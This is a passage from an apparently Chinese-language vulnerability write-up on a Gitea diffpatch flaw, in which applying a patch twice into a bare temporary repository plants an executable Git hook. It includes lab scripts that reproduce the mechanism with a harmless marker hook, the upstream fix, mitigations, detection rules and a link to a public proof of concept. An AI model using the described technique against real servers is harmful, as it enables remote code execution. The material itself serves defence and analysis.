-p 127.0.0.1:$PORT:3000 \
-v "$DATA:/data" \
-e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__security__INSTALL_LOCK=true \
-e GITEA__server__ROOT_URL=http://127.0.0.1:$PORT/ \
-e GITEA__server__HTTP_PORT=3000 \
-e GITEA__service__DISABLE_REGISTRATION=true \
ghcr.io/go-gitea/gitea:$V >/dev/null
for i in $(seq 1 90); do
code=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$PORT/api/v1/version" 2>/dev/null || true)
if [ "$code" = "200" ]; then break; fi
sleep 2
done
echo "version: $(curl -s http://127.0.0.1:$PORT/api/v1/version)"
docker exec -u git "$NAME" gitea admin user create \
--username attacker --password 'Attacker123!' \
--email attacker@example.com --must-change-password=false 2>&1 | tail -2
echo "users: $(docker exec -u git "$NAME" gitea admin user list 2>/dev/null | tail -n +2 | awk '{print $2}' | tr '\n' ' ')"2、clone 参数应当改成非 bare
上游的修法就是这一行:
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {非 bare 之后,临时仓库变成“工作树 + .git”两层。补丁里的 hooks/post-index-change 即使被三方合并写出来,也落在工作树的 hooks/,Git 加载钩子看的是 .git/hooks/,两者不再重合。
纯 git 里把同一套东西放到非 bare 克隆:
$ bash /opt/gitea-lab/mechanism_fixed.sh
工作树里的 hooks/post-index-change 是克隆时检出的普通文件;真正的钩子目录 .git/hooks/ 里没有它。三方合并即使成功,写的是工作树那一份,钩子加载器看的是 .git/hooks/ 那一份。
mechanism_fixed.sh:
#!/bin/bash
# 非 bare 布局:钩子落在工作树 hooks/,不执行。
set -u
T=$(mktemp -d /tmp/gitfix.XXXXXX)
rm -f /tmp/hook_ran
echo "tmp=$T"
cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN" >> /tmp/hook_ran
EOS
chmod +x /tmp/hook.sh
python3 "$(dirname "$0")/make_patch.py" /tmp/hook.sh > /tmp/hook.patch
cd "$T"
git init -q --bare origin.git
git -C origin.git symbolic-ref HEAD refs/heads/main
git clone -q origin.git seed
cd seed
git config user.email a@b
git config user.name a
echo hi > README
mkdir -p hooks
cp /tmp/hook.sh hooks/post-index-change
chmod +x hooks/post-index-change
git add README hooks/post-index-change
git commit -qm init
git push -q origin HEAD:main
cd ..
# 工作树和 .git 分开
echo "=== non-bare clone (Gitea 1.27.1 style) ==="
git clone -q origin.git work
cd work
echo "git-dir=$(git rev-parse --git-dir)"
echo "worktree hook:"; ls -l hooks/post-index-change
echo ".git/hooks hook:"; ls -l .git/hooks/post-index-change 2>&1
echo "=== apply the same add/add patch ==="
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "apply rc=$?"
echo "marker: $(cat /tmp/hook_ran 2>&1)"
echo "=== where would a successful apply write? ==="
ls -ld hooks .git/hooks3、补上这一行之后
修复生效后的变化:
临时仓库的
core.bare从true变成false。补丁路径落在
<worktree>/hooks/,不再落到$GIT_DIR/hooks/。第二次 add/add 三方合并会因为工作树/索引状态不一致而失败,Gitea 返回 500。
钩子不再执行,
refs/heads/leak-*不会出现。
一个差异:纯 git 里这次 apply 返回 0,Gitea 1.27.1 里返回 500。错误信息是 does not match index,说明三方合并时工作树里的那一份和索引对不上;这来自两次请求之间的工作树/索引状态差异。两条路径都没有执行钩子,500 只是修复后的另一种表现。
flowchart TD
A["补丁路径 hooks/post-index-change"] --> B{"临时仓库是 bare?"}
B -->|"是(1.27.0)"| C["工作树 = $GIT_DIR"]
C --> D["落到 $GIT_DIR/hooks/,执行"]
B -->|"否(1.27.1)"| E["工作树 = 仓库目录,$GIT_DIR = 仓库目录/.git"]
E --> F["落到 工作树/hooks/,不执行"]4、拿不到补丁时的调用侧处理
升级不是所有环境都能立刻做,调用侧可以叠几层:
补丁路径白名单。 在应用层拒绝
hooks/、.git/以及其他保留目录,只允许业务文件路径。这是唯一能覆盖“未来某次重构又把工作树折回去”的一层。残余面:白名单如果按前缀匹配,hooks/../hooks/...这类归一化差异仍可能漏,要做规范化后再比。临时仓库禁用钩子。 对执行 apply 的临时仓库加
-c core.hooksPath=/dev/null,或者把临时目录挂成noexec。即使文件落进 hooks 目录,也没有加载路径。纯 git 里做过对照:
$ bash /opt/gitea-lab/mitigation.sh
control rc=0
control marker: HOOK_RAN
mitigated rc=0
mitigated marker: cat: /tmp/hook_ran: 没有那个文件或目录
残余面:有些 Git 操作依赖钩子做审计,禁用前要确认业务不受影响。
mitigation.sh:
#!/bin/bash
# 对照:正常第二轮执行钩子;core.hooksPath=/dev/null 后不执行。
set -u
T=$(mktemp -d /tmp/gitmit.XXXXXX)
rm -f /tmp/hook_ran
echo "tmp=$T"
cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN" >> /tmp/hook_ran
EOS
chmod +x /tmp/hook.sh
python3 "$(dirname "$0")/make_patch.py" /tmp/hook.sh > /tmp/hook.patch
cd "$T"
git init -q --bare origin.git
git -C origin.git symbolic-ref HEAD refs/heads/main
git clone -q origin.git seed
cd seed
git config user.email a@b
git config user.name a
echo hi > README
git add README
git commit -qm init
git push -q origin HEAD:main
cd ..
# 第一轮:把钩子文件提交进树
git clone -q --bare -s origin.git temp1.git
cd temp1.git
git read-tree HEAD
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch
tree=$(git write-tree)
commit=$(printf 'x\n' | GIT_AUTHOR_NAME=a GIT_AUTHOR_EMAIL=a@b GIT_COMMITTER_NAME=a GIT_COMMITTER_EMAIL=a@b git commit-tree "$tree" -p HEAD)
git update-ref refs/heads/main "$commit"
git push -q origin refs/heads/main:refs/heads/main
cd ..
# 对照组:正常 apply
echo "=== control: normal round 2 ==="
git clone -q --bare -s origin.git temp2.git
cd temp2.git
git read-tree HEAD
rm -f /tmp/hook_ran
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "control rc=$?"
echo "control marker: $(cat /tmp/hook_ran 2>&1)"
cd ..
# 缓解组:钩子目录指向 /dev/null
echo "=== mitigated: core.hooksPath=/dev/null ==="
git clone -q --bare -s origin.git temp3.git
cd temp3.git
git read-tree HEAD
rm -f /tmp/hook_ran
git -c core.hooksPath=/dev/null apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "mitigated rc=$?"
echo "mitigated marker: $(cat /tmp/hook_ran 2>&1)"
ls -l hooks/post-index-change 2>&1限制临时仓库的权限。 用独立的低权限用户跑补丁应用,容器内只挂载必要的仓库目录。把“命令以 Gitea 身份执行”降级成“命令以临时用户执行”。残余面:Gitea 本身需要读写仓库,权限压得太低会影响正常推送。
关闭公开注册,收紧 diffpatch 权限。 实例不需要陌生人建仓就关掉注册;不需要补丁 API,就在反向代理层拒掉
/api/v1/repos/*/*/diffpatch。这条链的入口是“任意账号 + 仓库写权限”,收窄入口比修一个参数更直接。加一条日志规则。 对
diffpatch的 201 响应后紧跟git apply且路径含hooks/的请求告警。0day 窗口期升级不一定及时,这条规则能在利用发生时留下痕迹。
5、排查要点
源码:看
services/repository/files/patch.go的gitPatchPrepare(),t.Clone(ctx, opts.OldBranch, true)的第三个参数是 bare;1.27.0 是true,1.27.1 改成false。同一函数后面的git apply --index --cached ... -3是另一个条件。版本:
gitea --version。1.17–1.26、1.27.0 受影响,1.27.1 修复;发行版打包的版本号可能和上游 tag 不一致,以二进制自报为准。补丁:不用找畸形样本,看 diffpatch 请求里的 diff。路径含
hooks/、模式 100755、同一个补丁提交两次,这三个同时出现就可疑;正常业务补丁不会写hooks/。入口:在 diffpatch handler 前加路径白名单,拒绝
hooks/、.git/和保留目录;再对同一仓库的重复补丁做去重或告警。日志:搜
diffpatch的 201 后紧跟git apply ... -3、临时目录里的upload.git*/hooks/post-index-change、临时仓库core.bare=true;1.27.1 搜does not match index和patch does not apply。
检查清单就一句话:版本不低于 1.27.1,临时仓库不是 bare,补丁路径里不许出现 hooks/。
参考链接
CVE 记录:
厂商公告:
Gitea 1.27.1 发布说明:https://blog.gitea.com/release-of-1.27.1/
GHSA-rcr6-4jqh-j84m:https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
公开 PoC:
0xBlackash/CVE-2026-60004:https://github.com/0xBlackash/CVE-2026-60004
CVE-2026-60004.py:https://github.com/0xBlackash/CVE-2026-60004/blob/main/CVE-2026-60004.py
涉及源码(按 v1.27.0 / v1.27.1 定位):
routers/api/v1/repo/patch.go:https://github.com/go-gitea/gitea/blob/v1.27.0/routers/api/v1/repo/patch.go
services/repository/files/patch.go(v1.27.0):https://github.com/go-gitea/gitea/blob/v1.27.0/services/repository/files/patch.go
services/repository/files/patch.go(v1.27.1):https://github.com/go-gitea/gitea/blob/v1.27.1/services/repository/files/patch.go
services/repository/files/temp_repo.go:https://github.com/go-gitea/gitea/blob/v1.27.0/services/repository/files/temp_repo.go
modules/git/repo.go:https://github.com/go-gitea/gitea/blob/v1.27.0/modules/git/repo.go